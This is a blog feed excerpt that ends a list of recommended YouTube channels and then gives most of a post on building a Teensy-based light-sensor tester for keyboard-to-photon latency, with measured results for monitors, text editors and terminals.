  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCCJJNQIhS15ypcHqDfEPNXg&quot;&gt;Akiyuki Brick Channel&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Incredibly cool and complex Lego mechanical contraptions. &lt;a href=&quot;https://www.youtube.com/watch?v=sUtS52lqL5w&quot;&gt;This is a great combination of many of his designs&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/channel/UCCJJNQIhS15ypcHqDfEPNXg&quot;&gt;this recent video is aesthetically fun&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCW5OrUZ4SeUYkUg1XqcjFYA&quot;&gt;GeoWizard&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Guy who is really good at GeoGuessr, that is super knowledgeable about geography and all sorts of tricks to figure out where you are when plopped randomly on Street View. &lt;a href=&quot;https://www.youtube.com/channel/UC7ELHo7almKFfxe8ultFdTA&quot;&gt;This guy&lt;/a&gt; is allegedly better but IMO less entertaining.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCtQvv0QrY7_W49gtIPSDWdg&quot;&gt;Media Molecule&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Lots of videos about &lt;a href=&quot;https://www.playstation.com/en-us/games/dreams-ps4/&quot;&gt;Dreams&lt;/a&gt;, the most impressive feat of software engineering I can think of, but that’s another potential future article. Includes compilations of cool creations, tutorials from talented artists, and explanations by developers of how it works.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCCuoqzrsHlwv1YyPKLuMDUQ&quot;&gt;Jonathan Blow&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Recorded live streams of programming and demoing his game and new programming language/compiler. Clearly very skilled, also overly brash at times, but his ideas and perspective is interesting and his videos are the only ones I watch of live programming.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/user/sethbling&quot;&gt;Sethbling&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Does Super Mario World speedruns involving code injection via carefully placed shells and a glitch to warp directly to the credits, as well as various other technical video game trickery.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCCRdB9rqzP2m7bPYb5drH_Q&quot;&gt;Harstem&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Professional StarCraft 2 player. Critiques people’s submitted replays, plays serious games while explaining his thoughts, tries playing with terrible strategies and winning purely on having better mechanics. Interesting to see what kind of thought, considerations and practice it takes to get to the highest level in a competitive strategy game.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h1 id=&quot;d-tier-good-quality-stuff-i-like-watching&quot;&gt;D Tier: Good quality stuff I like watching&lt;/h1&gt;

&lt;p&gt;These are just a whole bunch of channels I’m subscribe to, where I’ve watched a bunch of their videos and liked them. I may not watch every video from all of these channels, but the ones I’ve decided to watch have been good and I’ll often watch new ones when they pop up. Some of these channels are really well made and might be in other people’s S tier, I’m just not as interested in them. If you’ve liked my other recommendations I encourage you to check these out! I’ve split them up based on the broad theme of what type of videos they have:&lt;/p&gt;

&lt;h2 id=&quot;explaining&quot;&gt;Explaining&lt;/h2&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCbfYPyITQ-7l4upoX8nvctg&quot;&gt;Two Minute Papers&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Short explanations of interesting machine learning and computer graphics papers.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCEklP9iLcpExB8vp_fWQseg&quot;&gt;Makin’ Stuff Look Good&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Tutorials on how various cool shader effects work.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC6vImVkvofpMUOlYt6LiRXA&quot;&gt;Keystone Science&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Some cool science videos.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCu6mSoMNzHQiBIOCkHUa2Aw&quot;&gt;Cody’sLab&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Miscellaneous geology, farming and engineering.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/user/AndrewPPrice&quot;&gt;Blender Guru&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really good Blender 3D modeling tutorials. I learned a lot about what goes into photorealism that I applied when choosing features for my &lt;a href=&quot;https://thume.ca/ray-tracer-site/&quot;&gt;path tracer&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCNk3CeLpCA0qIZsuzGl09cw&quot;&gt;Bruce Yeany&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Science teacher who makes cool demonstrations.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/c/smartereveryday/featured&quot;&gt;Smarter Every Day&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Very popular science and engineering videos.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/user/arduinoversusevil&quot;&gt;AvE&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Crass guy with an idiosyncratic style of speaking has a cool series called “Bored Of Lame Tool Review?” where he takes tools apart, explains how they work, critiques their design and guesses how they’ll fail.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2 id=&quot;making&quot;&gt;Making&lt;/h2&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCp_5PO66faM4dBFbFFBdPSQ&quot;&gt;bitluni’s lab&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;PCBs and neat huge LED walls.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCO8DQrSp5yEP937qNqTooOw&quot;&gt;Strange Parts&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Tours of cool Chinese factories.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCUbDcUPed50Y_7KmfCXKohA&quot;&gt;James Bruton&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;3D printed cool robots.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UClsFdM0HzTdF1JYoraQ0aUw&quot;&gt;Brick Experiment Channel&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Interesting engineering using Lego, like making submarines.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC3KEoMzNz8eYnwBC34RaKCQ&quot;&gt;Simone Giertz&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Originally made shitty robots, now makes miscellaneous cool artsy objects.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCILl8ozWuxnFYXIe2svjHhg&quot;&gt;BPS.space&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Very fancy model rockets with cool control systems, like Falcon propulsive landing.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCVS89U86PwqzNkK2qYNbk5A&quot;&gt;Allen Pan&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Cool engineering projects kind of in the style of The Hacksmith.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCY1kMZp36IQSyNx_9h4mpCg&quot;&gt;Mark Rober&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Interesting engineering and science projects.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC7yF9tV4xWEMZkel7q8La_w&quot;&gt;Peter Sripol&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Makes his own small and model airplanes.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCtHaxi4GTYDpJgMSGy7AeSw&quot;&gt;Michael Reeves&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Comedy robot videos.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC6x7GwJxuoABSosgVXDYtTw&quot;&gt;I Like To Make Stuff&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Miscellaneous crafts.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCturmG-MSMEpG3zAo4H6Spw&quot;&gt;Jairus of all&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Some cool projects.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC06HVrkOL33D5lLnCPjr6NQ/featured&quot;&gt;Breaking Taps&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;CNC milling, making molds. Well produced, good at explaining the challenges and design process.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCfIqCzQJXvYj9ssCoHq327g&quot;&gt;How To Make Everything&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Makes things like lenses, chocolate, clothing and food from scratch harvesting and processing all his own materials.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCckETVOT59aYw80B36aP9vw&quot;&gt;Matthias Wandel&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Impressive woodworking and wooden contraptions.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCnr29dxZB1vsbiHLBL7kfAQ&quot;&gt;The Taste Emporium&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Cooking channel by the same guy as &lt;a href=&quot;https://www.youtube.com/c/thethoughtemporium&quot;&gt;The Thought Emporium&lt;/a&gt; about making very fancy recipes.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCbNvfx3rYYxEopnRGxfu53Q&quot;&gt;Joseph’s Machines&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really amazing Rube Goldberg machines.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCZnQYVCCnNnwqiJRIYQuYdA&quot;&gt;Makercise&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Making a Gingery lathe and shaper from scratch by aluminum casting.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCUuMYw2l2UeWyTGYixYfRCA&quot;&gt;EvanAndKatelyn&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Miscellaneous home crafts and art.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/c/Ididathing&quot;&gt;I did a thing&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Comedy DIY videos like &lt;a href=&quot;https://www.youtube.com/watch?v=OSfUUqNkrOQ&quot;&gt;“Can I make a spoon using only a spoon”&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCUQo7nzH1sXVpzL92VesANw&quot;&gt;DIY Perks&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Well-made DIY projects mostly building custom lighting and weird computer equipment.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/c/ferrisstreamsstuff/videos&quot;&gt;Ferris&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really good programmer, part of my favorite demo group Logicoma, interesting streams.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/c/TheBrickWallTeam/featured&quot;&gt;The Brick Wall&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Sophisticated and impressive working Lego farm equipment and factories.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/user/colinfurze&quot;&gt;Colin Furze&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Wild engineering projects often involving making dangerous but impressive vehicles.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2 id=&quot;other&quot;&gt;Other&lt;/h2&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCWf3wmxbUr5TGmCjHaXV4bQ&quot;&gt;JL2579&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Technical Minecraft player. I don’t play Minecraft anymore but still love seeing what kind of weird behaviors they find and exploit to build useful Minecraft contraptions.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCHSI8erNrN6hs3sUK6oONLA&quot;&gt;ilmango&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Another impressive technical Minecraft player.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC-WICcSW1k3HsScuXxDrp0w&quot;&gt;Curry On!&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;A good programming conference that tends to have talks I like watching.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UC_QIfHvN9auy2CoOdSfMWDw&quot;&gt;Strange Loop&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Another good programming conference with lots of talks I’ve liked.&lt;/dd&gt;
  &lt;dt&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCDbxvz-8MrderjIOyQi14Uw&quot;&gt;Roger Kilmanjaro&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Really beautiful minimalist CG looping animations that are very much my aesthetic.&lt;/dd&gt;
&lt;/dl&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Measuring keyboard-to-photon latency with a light sensor</title>
   <link href="https://thume.ca/2020/05/20/making-a-latency-tester/"/>
   <updated>2020-05-20T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/05/20/making-a-latency-tester</id>
   <content type="html">
&lt;p&gt;For a long time when I’ve wanted to test the latency of computers and UIs I’ve used the &lt;a href=&quot;https://isitsnappy.com/&quot;&gt;Is It Snappy&lt;/a&gt; app with my iPhone’s high speed camera to count frames between when I press a key and when the screen changes. However the problem with that is it takes a while to find the exact frames you want, which is annoying when doing a bunch of testing. It also makes it difficult to find out what the variability of latency is like. I had already made this kind of testing easier &lt;a href=&quot;/2017/12/29/fixing-my-keyboards-latency/&quot;&gt;by adding a mode to my keyboard firmware which changes the LED color after it sends a USB event&lt;/a&gt;, but that only made it a bit faster and more precise. I wanted something better.&lt;/p&gt;

&lt;p&gt;So I followed in the footsteps of my friend &lt;a href=&quot;https://raphlinus.github.io/&quot;&gt;Raph&lt;/a&gt; and made a hardware latency tester which sends keyboard events and then uses a light sensor to measure the time it takes for the screen to change! It was quite easy and in this post I’ll go over some of the latency results I’ve found, talk about why good latency testing is tricky, and explain how to build your own latency tester.&lt;/p&gt;

&lt;p&gt;Basically my latency tester is a light sensor module from Amazon held by an adjustable holder arm wired to a &lt;a href=&quot;https://www.pjrc.com/teensy/teensyLC.html&quot;&gt;Teensy LC&lt;/a&gt; microcontroller which presses “a” and waits until the light level changes, then deletes it and keeps collecting samples as long as a button is held. Then with a short press of that one button it will type out a nice latency histogram that looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lat i= 60.3 +/-   9.3, a= 60, d= 59 (n= 65,q= 41) |    239_                      |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This line tells me the average latency of insertions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i=&lt;/code&gt;), deletions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d=&lt;/code&gt;) and both put together (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a=&lt;/code&gt;), the standard deviation of insertion times (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+/-&lt;/code&gt;), measurement count (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n=&lt;/code&gt;) and quality (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;q=&lt;/code&gt;), and a little ascii histogram where each character is a 10ms bucket and the digits proportionally represent how full the bucket is. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; represents a bucket with at least one sample but not enough to be at least one ninth of the top bucket, so I can see tail latencies. Here’s what it looks like (pictured with portrait monitors but all tests were done in landscape):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/latencytester/final_product.jpeg&quot; alt=&quot;The final product&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I also made it so if you press the button again, it will type out all the raw measurements like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[35, 35, 33, 44]&lt;/code&gt; so you can do custom plotting:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/latencytester/plot.png&quot; alt=&quot;Plotly chart&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;monitor-latency&quot;&gt;Monitor latency&lt;/h2&gt;

&lt;p&gt;I’ll start out with my favorite set of results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Sublime Text, macOS, distraction-free full-screen mode on two 4k monitors:
lat i= 35.3 +/-   4.7, a= 36, d= 36 (n= 67,q= 99) |  193       | Dell P2415Q top
lat i= 52.9 +/-   5.0, a= 53, d= 54 (n= 66,q= 45) |   _391     | Dell P2415Q bottom
lat i= 65.1 +/-   5.0, a= 64, d= 63 (n=109,q=111) |    _292    | HP Z27 top
lat i= 79.7 +/-   5.0, a= 80, d= 80 (n= 98,q=114) |       89_  | HP Z27 bottom
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s a lot to observe here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;First of all, I like how the single-line fixed-width histogram format lets me put results next to each other in a text file and label them to the right for comparison.&lt;/li&gt;
  &lt;li&gt;We can see the expected difference of 16ms between the latency at the top and bottom of each monitor from the time it takes to scan out the rows during a frame at 60hz.&lt;/li&gt;
  &lt;li&gt;The standard deviation is just a touch over the &lt;a href=&quot;https://www.quora.com/What-is-the-standard-deviation-of-a-uniform-distribution-How-is-this-formula-determined&quot;&gt;4.6ms&lt;/a&gt; that’s inherent to the uniformly-distributed variance that comes from being misaligned with a 16ms display refresh period.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;The HP Z27 is around 30ms slower than the Dell P2415Q!&lt;/strong&gt; And that’s measuring from the start of when the change is detectable, I’m pretty sure the Z27 also takes longer to transition fully. With the Z27 and Sublime almost half my end-to-end latency is unnecessary delay from the monitor!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All measurements in the rest of this post are accordingly done on my Dell P2415Q. Both monitors have response time set to “fast”, the Z27 has even higher response time settings but they only affect transition time and introduce unsightly ghost trails without helping initial latency.&lt;/p&gt;

&lt;h2 id=&quot;the-perils-of-measurement&quot;&gt;The perils of measurement&lt;/h2&gt;

&lt;p&gt;Taking good latency measurements is actually quite difficult in more ways than you might think. I tried harder than most people to get realistic measurements and still failed the first few times in ways that I had to fix.&lt;/p&gt;

&lt;h3 id=&quot;actually-measuring-end-to-end-latency&quot;&gt;Actually measuring end to end latency&lt;/h3&gt;

&lt;p&gt;First of all, the reason to use a hardware latency tester is that there are many incomplete or potentially deceptive ways to measure end-to-end latency.&lt;/p&gt;

&lt;p&gt;There’s a really excellent famous blog post called &lt;a href=&quot;https://pavelfatin.com/typing-with-pleasure/&quot;&gt;Typing With Pleasure&lt;/a&gt; that compares latency of different text editors on different operating systems with good analysis and pretty graphs. However it does this by simulating input events and screen scraping using OS APIs. I haven’t done any overlapping measurements with his so can’t point to anything specifically wrong, but there’s lots of potential issues with this. For example inspecting the screen buffer on the CPU might unduly penalize GPU-rendered apps due to window buffer copies under some ways that capture might work. Simulated input may hit different paths than real input. Regardless, even if it does give decent relative measurements (and you can’t truly know without validating it against an end-to-end test), it doesn’t tell you the full latency users experience.&lt;/p&gt;

&lt;h3 id=&quot;using-1000hz-usb-polling&quot;&gt;Using 1000hz USB polling&lt;/h3&gt;

&lt;p&gt;One source of latency users experience that my tester doesn’t measure is &lt;a href=&quot;https://danluu.com/keyboard-latency/&quot;&gt;keyboard latency&lt;/a&gt;. Many keyboards can introduce more latency than my entire keyboard-to-photon latency (&lt;a href=&quot;/2017/12/29/fixing-my-keyboards-latency/&quot;&gt;including mine in the past&lt;/a&gt;) due to 8ms USB polling intervals, low keyboard grid scan rates, slow firmware, and more debatably different mechanical design.&lt;/p&gt;

&lt;p&gt;You can’t just use any microcontroller that can emulate a keyboard to build a low-variance latency tester because they probably use default 125Hz polling. Luckily my go-to microcontroller the &lt;a href=&quot;https://www.pjrc.com/teensy/teensyLC.html&quot;&gt;Teensy LC&lt;/a&gt; is one of few to default to 1000hz.&lt;/p&gt;

&lt;h3 id=&quot;ensuring-good-signal-strength&quot;&gt;Ensuring good signal strength&lt;/h3&gt;

&lt;p&gt;For the first while after I built my latency tester I didn’t have any measurement of signal strength. Eventually I got confused by some measurements in slightly different scenarios with the same app and screen having wildly different results. I did some testing and figured out that sometimes with small fonts or poor sensor placement the change in screen contents would only barely be detectable so I’d end up measuring until the monitor finished transitioning when usually I measure until when the monitor starts transitioning (which is its own tricky subjective measurement choice).&lt;/p&gt;

&lt;p&gt;I knew to suspect transition time, because before I wrote the firmware I played around with just sampling the light sensor every millisecond and using the Arduino serial plotter to plot measurements as I typed and backspaced a letter just to see what the signal looked like. You can see that some combination of the light sensor and the monitor take nearly 100ms to fully transition. Based on filming with &lt;a href=&quot;https://isitsnappy.com/&quot;&gt;Is It Snappy&lt;/a&gt; it seems like it only takes my Z27 about 20ms for the screen to perceptually finish transitioning.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/latencytester/wave.png&quot; alt=&quot;Trace&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To avoid this I added a peak to peak signal strength measurement after the full transition to my output so I could ensure I was getting adequate resolution for my threshold of 5 steps to be near the beginning of the transition. These are the numbers you see after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;q=&lt;/code&gt;. I learned that it’s important to keep font sizes large and screen brightness settings high.&lt;/p&gt;

&lt;h3 id=&quot;significant-variation-from-small-differences&quot;&gt;Significant variation from small differences&lt;/h3&gt;

&lt;p&gt;It’s possible for seemingly small differences in what’s being measured to make noticeable differences in latency. For example I wanted to see if there was a significant difference between the latency of Sublime and VSCode on a small file with plain text highlighting compared to a large file with a complex highlighting grammar and an autocomplete popup. Sure enough there was, but after noticing some variability I did a bunch more testing and discovered that the latencies were noticeably different between typing ‘a’ on a blank line and typing ‘a’ after an existing ‘a’ (‘aa’).&lt;/p&gt;

&lt;p&gt;Here’s the results upon making a new line after line 3469 of 6199 of the huge &lt;a href=&quot;https://github.com/trishume/syntect/blob/master/testdata/parser.rs&quot;&gt;parser.rs&lt;/a&gt;, all taken with similar sensor positioning lower down my Dell monitor than the very top.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lat i= 40.2 +/-   4.1, a= 40, d= 39 (n= 38,q= 90) |  _89           | sublime small .txt

lat i= 41.2 +/-   6.9, a= 41, d= 42 (n= 54,q= 92) |   992          | sublime aa parser.rs
lat i= 43.6 +/-   6.1, a= 43, d= 42 (n= 48,q=100) |   492          |
lat i= 52.2 +/-   6.0, a= 52, d= 52 (n= 26,q=100) |    49          |
lat i= 44.3 +/-   5.6, a= 43, d= 42 (n= 45,q=100) |   391          |
lat i= 42.7 +/-   7.6, a= 42, d= 42 (n= 46,q=100) |  _491          |

lat i= 48.1 +/-   6.8, a= 49, d= 50 (n= 43,q= 89) |   269          | sublime a parser.rs
lat i= 43.9 +/-   5.4, a= 48, d= 52 (n= 32,q= 97) |   197          |
lat i= 47.8 +/-   8.4, a= 49, d= 49 (n= 29,q= 97) |   197_         |
lat i= 46.1 +/-   6.8, a= 47, d= 49 (n= 42,q= 97) |   196_         |

lat i= 63.3 +/-   9.3, a= 63, d= 62 (n= 68,q=118) |    _963__      | vscode aa parser.rs
lat i= 63.6 +/-   7.6, a= 64, d= 65 (n= 71,q=139) |    _49__     _ |
lat i= 62.3 +/-   6.3, a= 61, d= 59 (n= 52,q=132) |    _791        |
lat i= 62.0 +/-   5.8, a= 61, d= 60 (n= 40,q=111) |    _49_        |
lat i= 61.9 +/-   9.7, a= 62, d= 61 (n= 35,q=111) |     981_       |

lat i= 53.1 +/-   7.7, a= 51, d= 49 (n= 54,q=116) |   _79__        | vscode a parser.rs
lat i= 52.2 +/-   6.3, a= 52, d= 51 (n= 41,q=133) |    692         |
lat i= 53.2 +/-   7.8, a= 52, d= 52 (n= 57,q=134) |    591_        |
lat i= 52.1 +/-   7.1, a= 52, d= 52 (n= 55,q=134) |    591_        |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I did a bunch of runs at different times and with minor changes to confirm the effect, and you can see that there’s variation between measurements of the same scenario, but noticeably larger variation between just typing ‘a’ and adding an ‘a’ after an existing ‘a’. Try looking at the ‘a=’ column since it includes both insert and delete measurements so has the least cross-run noise. Sublime is faster at ‘aa’ than ‘a’ and VSCode is faster at ‘a’ than ‘aa’.&lt;/p&gt;

&lt;p&gt;In both editors ‘aa’ causes the autocomplete popup to alternate between two lists and ‘a’ causes it to appear and disappear. I can guess that Sublime might be slower in the ‘a’ case because opening and closing the autocomplete popup has a cost, but I don’t have a strong hypothesis why VSCode is slower in the ‘aa’ case on both insertion and deletion.&lt;/p&gt;

&lt;h3 id=&quot;jittering-so-as-not-to-sync-with-refresh&quot;&gt;Jittering so as not to sync with refresh&lt;/h3&gt;

&lt;p&gt;The next fishy thing I noticed is that my variances seemed too low. I was sometimes getting standard deviations of 1ms when my understanding of how the system worked said I should be getting a standard deviation over &lt;a href=&quot;https://www.quora.com/What-is-the-standard-deviation-of-a-uniform-distribution-How-is-this-formula-determined&quot;&gt;4.6ms&lt;/a&gt; due to 16ms screen refresh intervals.&lt;/p&gt;

&lt;p&gt;I looked at my code and figured out that I was inadvertently synchronizing my measurement with screen refreshes. Whenever I measured a change, my firmware would wait exactly 300ms before typing ‘a’ or backspace again and taking another measurement. This meant the input was always sent about 300ms after a screen refresh and thus would land at a fairly constant spot in the screen refresh interval. I patched this issue by adding a 50ms random delay between measurements.&lt;/p&gt;

&lt;p&gt;This mainly leads to incorrectly low variances but might lead to incorrect averages as well if the app will miss a paint deadline if the input event comes late in a frame but it never does during the test. I found this during testing for this post and couldn’t be bothered to redo all the tests below this point, so you may notice some low variances, but I did recheck the averages on important results like Sublime and VSCode.&lt;/p&gt;

&lt;h2 id=&quot;text-editors&quot;&gt;Text editors&lt;/h2&gt;

&lt;p&gt;I tested the latency of a bunch of text editors on the same plain text file, but note the above that these are before I added jittering, although I did more tests on Sublime and VSCode after jittering which you can see above.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lat i= 32.5 +/-   4.0, a= 34, d= 35 (n= 38,q= 78) |   9_          | sublime text
lat i= 33.4 +/-   1.4, a= 33, d= 33 (n= 68,q= 23) |  _9           | textedit
lat i= 47.6 +/-   7.0, a= 47, d= 47 (n= 71,q=130) |   219         | vscode
lat i= 34.2 +/-   3.5, a= 34, d= 33 (n= 57,q= 37) |   9 _         | chrome html input
lat i= 33.2 +/-   1.1, a= 33, d= 33 (n= 55,q= 30) |   9           | stock mac emacs
lat i= 45.6 +/-   7.0, a= 43, d= 41 (n= 35,q= 56) |   992_        | atom
lat i= 35.0 +/-   4.7, a= 35, d= 35 (n= 66,q= 11) |   9__         | xi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given the lack of jitter, I’d interpret these results as everything except VSCode and Atom being similarly “basically as good as you can get”. And note that even VSCode and Atom have less of a latency penalty for normal typing than you can easily have in your monitor or keyboard.&lt;/p&gt;

&lt;h2 id=&quot;terminals&quot;&gt;Terminals&lt;/h2&gt;

&lt;p&gt;I also measured different terminals. It looks like the default Apple Terminal and &lt;a href=&quot;https://sw.kovidgoyal.net/kitty/&quot;&gt;kitty&lt;/a&gt; have similar approximately optimal latency, while &lt;a href=&quot;https://www.iterm2.com/&quot;&gt;iTerm2&lt;/a&gt; and &lt;a href=&quot;https://github.com/alacritty/alacritty&quot;&gt;Alacritty&lt;/a&gt; have worse latency.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lat i= 53.1 +/-   6.6, a= 54, d= 55 (n= 53,q= 59) |    291      _ | iterm2 gpu render
lat i= 50.5 +/-   2.5, a= 50, d= 50 (n= 56,q= 59) |    19_        | iterm2 no gpu
